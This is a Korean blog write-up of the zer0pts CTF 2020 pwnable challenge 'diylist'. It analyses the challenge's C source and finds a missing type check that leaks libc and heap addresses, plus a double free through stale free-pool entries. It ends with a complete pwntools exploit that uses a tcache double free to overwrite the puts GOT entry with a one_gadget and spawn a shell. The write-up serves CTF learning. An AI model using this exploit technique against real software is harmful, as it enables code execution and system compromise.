SDJ( 수돈재 아님 ㅎ )

zer0pts ctf 2020 - diylist 본문

write-up/pwnable

zer0pts ctf 2020 - diylist

ShinDongJun 2020. 3. 10. 20:10

파일  다운로드

diylist_9192435a9754825a39246a2326983d28.tar.gz
0.01MB


 

다운로드 받은 파일에 libc파일이 없길래 2.23인줄알고 삽질만 계속하다가

정 모르겠어서 분류를 따로 찾아보니 tcache라더라...

 

먼저 보호기법

Partial RELRO, Canary, NX가 걸려있다.

 

이전에 2.23에서 삽질할 때 double free까지 되는것을 보고 fastbin dup을 이용하는 문제인것 같았는데 strdup때문에 어떻게 익스해야하나.. 계속 고민을 했다가 2.27인거보고 개허무..

2.23은 푸는 방법이 없나? 고민해보도록..

 

 

 

바이너리를 분석해보자. 

 

ADD() 함수 분석

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void add(List *list)
{
    char buf[128];
    printf("Type(long=%d/double=%d/str=%d): ", LIST_LONG, LIST_DOUBLE, LIST_STRING);
    
    switch(read_long()) {
    case LIST_LONG:
        printf("Data: ");
        list_add(list, (Data)read_long(), LIST_LONG);
        break;
        
    case LIST_DOUBLE:
        printf("Data: ");
        list_add(list, (Data)read_double(), LIST_DOUBLE);
        break;
        
    case LIST_STRING:
        printf("Data: ");
        read_str(buf);
        list_add(list, (Data)buf, LIST_STRING);
        break;
        
    default:
        puts("Invalid option");
        return;
    }
}

우리가 TYPE( long, double, string )을 입력받아 그에 맞는 Data를 list_add를 통해 저장한다.

 

list_add() 함수 분석

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/*
 * Add an element
 */
void list_add(List* list, Data data, LIST_TYPE type)
{
    Data *p;
    
    if (list->size >= list->max) {
        /* Re-allocate a chunk if the list is full */
        Data *old = list->data;
        list->max += CHUNK_SIZE;
        
        list->data = (Data*)malloc(sizeof(Data) * list->max);
        if (list->data == NULL)
            __list_abort("Allocation error");
 
        if (old != NULL) {
            /* Copy and free the old chunk */
            memcpy((char*)list->data, (char*)old, sizeof(Data) * (list->max - 1));
            free(old);
        }
    }
 
    /* Store new data */
    switch(type) {
    case LIST_LONG:
        list->data[list->size].d_long = data.d_long;
        break;
    case LIST_DOUBLE:
        list->data[list->size].d_double = data.d_double;
        break;
    case LIST_STRING:
        list->data[list->size].p_char = strdup(data.p_char);
        /* Insert the address to free pool
             so that it'll be freed when the list is deleted */
        if (fpool_num < MAX_FREEPOOL) {
            fpool[fpool_num] = list->data[list->size].p_char;
            fpool_num++;
        }
        break;
    default:
        __list_abort("Invalid type");
    }
    
    list->size++;
}

list_add()를 할 때, 기본적으로 List 자료형에는 size와 max가 있는데, size가 max보다 커질 경우 기존 list를 free시키고 max값을 4 증가시키고 다시 list를 만들어낸다.

 

이렇게 만들어진 list에 자료를 추가할 때,

long일 경우 list->data[list->size].d_long 에 저장

double일 경우 list->data[list->size].d_double 에 저장

string일 경우 list->data[list->size].p_char 에 strdup() 반환값 저장.

 

 

그 다음 

get() 함수 분석

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void get(List *list)
{
    printf("Index: ");
    long index = read_long();
    
    printf("Type(long=%d/double=%d/str=%d): ", LIST_LONG, LIST_DOUBLE, LIST_STRING);
    
    switch(read_long()) {
    case LIST_LONG:
        printf("Data: %ld\n", list_get(list, index).d_long);
        break;
        
    case LIST_DOUBLE:
        printf("Data: %lf\n", list_get(list, index).d_double);
        break;
        
    case LIST_STRING:
        printf("Data: %s\n", list_get(list, index).p_char);
        break;
        
    default:
        puts("Invalid option");
        return;
    }
}

data의 index를 받고, type( long, double, string ) 을 입력받아 type에 맞게 출력을 해준다.

 

list_get() 함수 분석

1
2
3
4
5
6
7
8
9
10
/*
 * Get an element
 */
Data list_get(List* list, int index)
{
    if (index < 0 || list->size <= index)
        __list_abort("Out of bounds error");
 
    return (Data)list->data[index].p_char;
}

add를 할 때 준 type과 get을 할 때 선택한 type이 같은지 확인하는 루틴이 없기 때문에 leak이 가능해진다.

 

예를 들어

add -> (index = 1, type = long, value = read_got) 후,

get -> (index = 1, type = string) => libc_read leak 이 된다.

 

그리고

add -> (index = 2, type = string, value = 'a'*8) 후

get -> (index = 2, type = long) => heap address leak 이 된다.

 

 

 

그 다음

edit() 함수 분석 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void edit(List *list)
{
    char buf[128];
    
    printf("Index: ");
    long index = read_long();
    printf("Type(long=%d/double=%d/str=%d): ", LIST_LONG, LIST_DOUBLE, LIST_STRING);
    
    switch(read_long()) {
    case LIST_LONG: /* long */
        printf("Data: ");
        list_edit(list, index, (Data)read_long(), LIST_LONG);
        break;
        
    case LIST_DOUBLE: /* double */
        printf("Data: ");
        list_edit(list, index, (Data)read_double(), LIST_DOUBLE);
        break;
        
    case LIST_STRING: /* str */
        printf("Data: ");
        read_str(buf);
        list_edit(list, index, (Data)buf, LIST_STRING);
        break;
        
    default:
        puts("Invalid option");
        return;
    }
}

edit에서도 index를 입력받고, type을 입력받아 type에 맞게 해당 index를 수정할 수 있다.

이 함수도 type을 검사하지 않기 때문에 list에 있는 heap의 값을 바꿀 수 있게 된다.

 

마지막

del() 함수 분석

1
2
3
4
5
6
7
8
void del(List *list)
{
    printf("Index: ");
    long index = read_long();
 
    list_del(list, index);
    puts("Successfully removed");
}

index를 입력받고 해당 data를 delete시킨다.

 

list_del() 함수 분석

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
 * Delete an element
 */
void list_del(List* list, int index)
{
    int i;
    if (index < 0 || list->size <= index)
        __list_abort("Out of bounds error");
 
    Data data = list->data[index];
 
    /* Shift data list and remove the last one */
    for(i = index; i < list->size - 1; i++) {
        list->data[i] = list->data[i + 1];
    }
    list->data[i].d_long = 0;
 
    list->size--;
 
    /* Free data if it's in the pool list */
    for(i = 0; i < fpool_num; i++) {
        if (fpool[i] == data.p_char) {
            free(data.p_char);
            break;
        }
    }
}

index 값을 검사하고나서 삭제하고 싶은 Data를 가져온 뒤에 index 다음 값을 한칸씩 당겨 덮어씌운다.

 

free는 fpool 배열에 있는 주소와 우리가 선택한 index가 같을 경우 free시킨다.

근데 free시키고 fpool 배열에서 주소를 0 으로 안바꿔서 edit으로 좀만 작업하면 double free가 가능해진다.

 

exploit 흐름

1. add와 get을 통해 heap 주소, libc 주소를 leak한다.

2. edit을 통해 list에 같은 주소가 2개 이상 있게 수정한다.

3. remove를 해서 double free를 시킨다.

4. puts_got에 one_gadget을 덮어 쓴다.

 

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
 
= process("./chall")
 
LONG = 1
DOUBLE = 2
STRING = 3
 
puts_got = 0x602018
= 0.05
 
def choice(idx):
    p.sendlineafter("> "str(idx))
 
def add(TYPE, data):
    choice(1)
    p.sendlineafter(": "str(TYPE))
    p.sendafter("Data: "str(data))
 
def get(idx, TYPE):
    choice(2)
    p.sendlineafter(": "str(idx))
    p.sendafter(": "str(TYPE))
 
def edit(idx, TYPE, data):
    choice(3)
    p.sendlineafter(": "str(idx))
    p.sendlineafter(": "str(TYPE))
    p.sendafter("Data: "str(data))
 
def remove(idx):
    choice(4)
    p.sendlineafter(": "str(idx))
 
add(LONG, puts_got)
sleep(t)
 
get(0, STRING)
sleep(t)
p.recvuntil("Data: ")
libc_puts = u64(p.recv(6).ljust(8,'\x00'))
print "libc_puts : " + hex(libc_puts)
libc_base = libc_puts - 0x809c0
print "libc_base : " + hex(libc_base)
# malloc_hook = libc_base + 0x3c4b10
 
one = [0x4f2c50x4f3220x10a38c]
 
one_gadget = libc_base + one[2]
print "one_gadget : " + hex(one_gadget)
 
edit(0, STRING, 'a'*0x8)
sleep(t)
 
get(0, LONG)
sleep(t)
p.recvuntil("Data: ")
heap_base = int(p.recvuntil("\n").rstrip()) - 0x60
print "heap_base : " + hex(heap_base)
 
target = heap_base + 0x80
 
add(STRING, 'a'*0x8)    # 1
sleep(t)
add(STRING, 'c'*0x8)    # 2 -> 1
sleep(t)
 
edit(2, LONG, target)
remove(1)
remove(1)
 
add(STRING, p64(puts_got))
add(STRING, p64(one_gadget))
add(STRING, p64(one_gadget))
 
p.interactive()

 

 

 

'write-up > pwnable' 카테고리의 다른 글

SuSeC CTF 2020 - unary  (0) 2020.03.16
zer0pts ctf 2020 - protrude  (0) 2020.03.11
zer0pts ctf 2020 - hipwn  (0) 2020.03.10
utctf 2020 - zurk  (0) 2020.03.09
utctf 2020 - Cancelled  (0) 2020.03.09
Comments